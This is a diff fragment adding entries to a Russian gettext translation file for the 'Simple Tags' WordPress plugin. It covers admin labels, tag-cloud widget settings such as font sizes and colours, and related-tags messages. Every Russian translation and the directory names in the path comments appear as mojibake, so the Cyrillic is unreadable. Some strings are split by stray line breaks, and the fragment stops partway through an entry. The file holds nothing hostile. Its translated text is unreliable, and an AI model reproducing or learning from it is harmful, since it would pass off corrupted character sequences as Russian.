+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:1130
+msgid "Display click tags"
+msgstr "ÐÐŸÐºÐ°Ð·Ð°ÑÑ ÐºÐ»ÐžÐº-ÐŒÐµÑÐºÐž"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1452
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:1131
+msgid "Hide click tags"
+msgstr "Ð¡Ð¿ÑÑÑÐ°ÑÑ ÐºÐ»ÐžÐº-ÐŒÐµÑÐºÐž"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1504
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:1148
+msgid "Suggested tags from :"
+msgstr "ÐÐŸÐŽÑ
+ÐŸÐŽÑÑÐžÐµ ÐŒÐµÑÐºÐž ÐžÐ· : "
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1505
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:1149
+msgid "Local tags"
+msgstr "ÐÐŸÐºÐ°Ð»ÑÐœÑÐµ ÐŒÐµÑÐºÐž"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1506
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:1150
+msgid "Yahoo"
+msgstr "Yahoo"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1507
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:1151
+msgid "Tag The Net"
+msgstr "Tag The Net"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1513
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:1154
+msgid "Choose a provider to get suggested tags (local, yahoo or tag the net)."
+msgstr "ÐÑÐ±ÐµÑÐžÑÐµ Ð¿ÑÐŸÐ²Ð°Ð¹ÐŽÐµÑÐ° ÐŽÐ»Ñ Ð¿ÐŸÐ»ÑÑÐµÐœÐžÑ Ð¿ÐŸÐŽÑ
+ÐŸÐŽÑÑÐžÑ
+ ÐŒÐµÑÐŸÐº (Ð»ÐŸÐºÐ°Ð»ÑÐœÑÐ¹, yahoo or tag the net)."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1742
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:1238
+#, php-format
+msgid "%s post(s) tags updated with success !"
+msgstr "%s ÐŒÐµÑÐŸÐº Ð·Ð°Ð¿ÐžÑÐµÐ¹ ÑÑÐ¿ÐµÑÐœÐŸ ÐŸÐ±ÐœÐŸÐ²Ð»ÐµÐœÐŸ !"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1744
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:1236
+#, php-format
+msgid "%s page(s) tags updated with success !"
+msgstr "%s ÐŒÐµÑÐŸÐº ÑÑÑÐ°ÐœÐžÑ ÑÑÐ¿ÐµÑÐœÐŸ ÐŸÐ±ÐœÐŸÐ²Ð»ÐµÐœÐŸ !"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:2155
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:1566
+#, php-format
+msgid "&copy; Copyright 2007 <a href=\"http://www.herewithme.fr/\" title=\"Here With Me\">Amaury Balmer</a> | <a href=\"http://wordpress.org/extend/plugins/simple-tags\">Simple Tags</a> | Version %s"
+msgstr "&copy; ÐÐŸÐ¿ÐžÑÐ°Ð¹Ñ 2007 <a href=\"http://www.herewithme.fr/\" title=\"Here With Me\">Amaury Balmer</a> | <a href=\"http://wordpress.org/extend/plugins/simple-tags\">Simple Tags</a> | ÐÐµÑÑÐžÑ %s, Ð¿ÐµÑÐµÐ²ÐŸÐŽ ÐœÐ° ÑÑÑÑÐºÐžÐ¹ ÑÐ·ÑÐº <a href=\"http://lecactus.ru/\" title=\"Lecactus\">Lecactus</a>"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:2195
+msgid "Page: "
+msgstr "Ð¡ÑÑÐ°ÐœÐžÑÐ°:"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:2274
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:1668
+msgid "General"
+msgstr "ÐÑÐœÐŸÐ²ÐœÑÐµ"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:2277
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:1671
+msgid "Administration"
+msgstr "ÐÐŽÐŒÐžÐœÐžÑÑÑÐžÑÐŸÐ²Ð°ÐœÐžÐµ"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:2280
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:1674
+msgid "Meta Keyword"
+msgstr "ÐÐ»ÑÑÐµÐ²ÑÐµ ÑÐ»ÐŸÐ²Ð°"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:2283
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:1677
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/extras/simple-tags.importer.php:242
+msgid "Embedded Tags"
+msgstr "ÐÑÑÑÐ°ÐžÐ²Ð°ÐµÐŒÑÐµ ÐŒÐµÑÐºÐž"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:2286
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:1680
+msgid "Tags for Current Post"
+msgstr "ÐÐµÑÐºÐž ÐŽÐ»Ñ ÑÐµÐºÑÑÐµÐ¹ Ð·Ð°Ð¿ÐžÑÐž"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:2289
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:1683
+msgid "Related Posts"
+msgstr "Ð¡Ð²ÑÐ·Ð°ÐœÐœÑÐµ Ð·Ð°Ð¿ÐžÑÐž"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:2292
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:1686
+msgid "Related Tags"
+msgstr "Ð¡Ð²ÑÐ·Ð°ÐœÐœÑÐµ ÐŒÐµÑÐºÐž"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:2295
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:1689
+msgid "Tag cloud"
+msgstr "ÐÐ±Ð»Ð°ÐºÐŸ ÐŒÐµÑÐŸÐº"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:143
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:133
+msgid "Empty field will use default value."
+msgstr "ÐÑÑÑÑÐµ ÐŸÐ±Ð»Ð°ÑÑÐž Ð±ÑÐŽÑÑ ÐžÑÐ¿ÐŸÐ»ÑÐ·ÐŸÐ²Ð°ÑÑ Ð·ÐœÐ°ÑÐµÐœÐžÑ Ð¿ÐŸ ÑÐŒÐŸÐ»ÑÐ°ÐœÐžÑ."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:146
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:136
+msgid "Title:"
+msgstr "ÐÐ°Ð³ÐŸÐ»ÐŸÐ²ÐŸÐº:"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:151
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:141
+msgid "Max tags to display: (default: 45)"
+msgstr "ÐÐ°ÐºÑÐžÐŒÐ°Ð»ÑÐœÐŸÐµ ÐºÐŸÐ»-Ð²ÐŸ ÐŒÐµÑÐŸÐº ÐŽÐ» ÐŸÑÐŸÐ±ÑÐ°Ð¶ÐµÐœÐžÑ: (Ð¿ÐŸ ÑÐŒÐŸÐ»ÑÐ°ÐœÐžÑ: 45)"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:156
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:146
+msgid "Tags selection:"
+msgstr "ÐÑÐ±ÐŸÑ ÐŒÐµÑÐŸÐº:"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:159
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:170
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:149
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:160
+msgid "Inverse Alphabetical"
+msgstr "ÐÐ»ÑÐ°Ð²ÐžÑ Ð² ÐŸÐ±ÑÐ°ÑÐœÐŸÐŒ Ð¿ÐŸÑÑÐŽÐºÐµ"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:160
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:150
+msgid "Most popular (default)"
+msgstr "ÐÐ°ÐžÐ±ÐŸÐ»ÐµÐµ Ð¿ÐŸÐ¿ÑÐ»ÑÑÐœÑÐµ (Ð¿ÐŸ ÑÐŒÐŸÐ»ÑÐ°ÐœÐžÑ)"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:162
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:152
+msgid "Random"
+msgstr "Ð¡Ð»ÑÑÐ°Ð¹ÐœÐŸ"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:173
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:163
+msgid "Random (default)"
+msgstr "Ð¡Ð»ÑÑÐ°Ð¹ÐœÐŸ (Ð¿ÐŸ ÑÐŒÐŸÐ»ÑÐ°ÐœÐžÑ)"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:178
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:168
+msgid "Font size mini: (default: 8)"
+msgstr "ÐÐžÐœÐžÐŒÐ°Ð»ÑÐœÑÐ¹ ÑÐ°Ð·ÐŒÐµÑ ÑÑÐžÑÑÐ°: (Ð¿ÐŸ ÑÐŒÐŸÐ»ÑÐ°ÐœÐžÑ: 8)"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:183
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:173
+msgid "Font size max: (default: 22)"
+msgstr "ÐÐ°ÐºÑÐžÐŒÐ°Ð»ÑÐœÑÐ¹ ÑÐ°Ð·ÐŒÐµÑ ÑÑÐžÑÑÐ°: (Ð¿ÐŸ ÑÐŒÐŸÐ»ÑÐ°ÐœÐžÑ: 22)"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:188
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:178
+msgid "Unit font size:"
+msgstr "ÐÐŽÐžÐœÐžÑÐ° ÑÐ°Ð·ÐŒÐµÑÐ° ÑÑÐžÑÑÐ°:"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:190
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:180
+msgid "Point (default)"
+msgstr "Ð¢ÐŸÑÐºÐž (Ð¿ÐŸ ÑÐŒÐŸÐ»ÑÐ°ÐœÐžÑ)"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:191
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:181
+msgid "Pixel"
+msgstr "ÐÐžÐºÑÐµÐ»Ðž"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:192
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:182
+msgid "Em"
+msgstr "Em"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:193
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:183
+msgid "Pourcent"
+msgstr "ÐÑÐŸÑÐµÐœÑÑ"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:198
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:188
+msgid "Format:"
+msgstr "Ð€ÐŸÑÐŒÐ°Ñ:"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:200
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:190
+msgid "Flat (default)"
+msgstr "Flat (Ð¿ÐŸ ÑÐŒÐŸÐ»ÑÐ°ÐœÐžÑ)"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:201
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:191
+msgid "List (UL/LI)"
+msgstr "Ð¡Ð¿ÐžÑÐŸÐº (UL/LI)"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:207
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:197
+msgid "Use auto color cloud:"
+msgstr "ÐÑÐ¿ÐŸÐ»ÑÐ·ÐŸÐ²Ð°ÑÑ Ð°Ð²ÑÐŸÐŒÐ°ÑÐžÑÐµÑÐºÑÑ ÑÐ°ÑÐºÑÐ°ÑÐºÑ ÐŸÐ±Ð»Ð°ÐºÐ°:"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:211
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:201
+msgid "Font color mini: (default: #CCCCCC)"
+msgstr "ÐŠÐ²ÐµÑ ÑÑÐžÑÑÐ° ÐŒÐžÐœÐžÐŒÐ°Ð»ÑÐœÑÑ
+: (Ð¿ÐŸ ÑÐŒÐŸÐ»ÑÐ°ÐœÐžÑ: #CCCCCC)"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:216
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:206
+msgid "Font color max: (default: #000000)"
+msgstr "ÐŠÐ²ÐµÑ ÑÑÐžÑÑÐ° ÐŒÐ°ÐºÑÐžÐŒÐ°Ð»ÑÐœÑÑ
+ (Ð¿ÐŸ ÑÐŒÐŸÐ»ÑÐ°ÐœÐžÑ: #000000)"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:221
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:211
+msgid "Extended format: (advanced usage)"
+msgstr "Ð Ð°ÑÑÐžÑÐµÐœÐœÑÐ¹ ÑÐŸÑÐŒÐ°Ñ: (ÑÐ°ÑÑÐžÑÐµÐœÐœÐŸÐµ ÐžÑÐ¿ÐŸÐ»ÑÐ·ÐŸÐ²Ð°ÐœÐžÐµ)"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:252
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:242
+msgid "Tag Cloud Widgets"
+msgstr "ÐÐžÐŽÐ¶ÐµÑÑ ÐŸÐ±Ð»Ð°ÐºÐ° ÐŒÐµÑÐŸÐº"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:253
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:243
+msgid "How many tag cloud widgets would you like?"
+msgstr "ÐÐ°Ðº ÐŒÐœÐŸÐ³ÐŸ Ð²ÐžÐŽÐ¶ÐµÑÐŸÐ² ÐŸÐ±Ð»Ð°ÐºÐŸÐ² ÐŒÐµÑÐŸÐº Ð²Ñ Ñ
+ÐŸÑÐžÑÐµ?"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:257
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:247
+msgid "Save"
+msgstr "Ð¡ÐŸÑ
+ÑÐ°ÐœÐžÑÑ"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:274
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:275
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:265
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:266
+#, php-format
+msgid "Extended Tag Cloud %d"
+msgstr "Ð Ð°ÑÑÐžÑÐµÐœÐœÐŸÐµ ÐŸÐ±Ð»Ð°ÐºÐŸ ÐŒÐµÑÐŸÐº %d"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:111
+msgid "No tags for this post."
+msgstr "Ð Ð·Ð°Ð¿ÐžÑÐž ÐœÐµÑ ÐŒÐµÑÐŸÐº."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:123
+msgid "No related tags found."
+msgstr "Ð¡Ð²ÑÐ·Ð°ÐœÐœÑÑ
+ ÐŒÐµÑÐŸÐº ÐœÐµ ÐœÐ°Ð¹ÐŽÐµÐœÐŸ."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:1113
+msgid "<a %tag_rel% href=\"%tag_link_remove%\" title=\"Remove %tag_name_attribute% from search\">Remove %tag_name%</a>"
+msgstr "<a %tag_rel% href=\"%tag_link_remove%\" title=\"Ð£Ð±ÑÐ°ÑÑ %tag_name_attribute% from search\">Ð£Ð±ÑÐ°ÑÑ %tag_name%</a>"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:1502
+msgid "<a href=\"%tag_link%\" title=\"%tag_name_attribute%\" %tag_rel%>%tag_name%</a>"
+msgstr "<a href=\"%tag_link%\" title=\"%tag_name_attribute%\" %tag_rel%>%tag_name%</a>"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:218
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:522
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:575
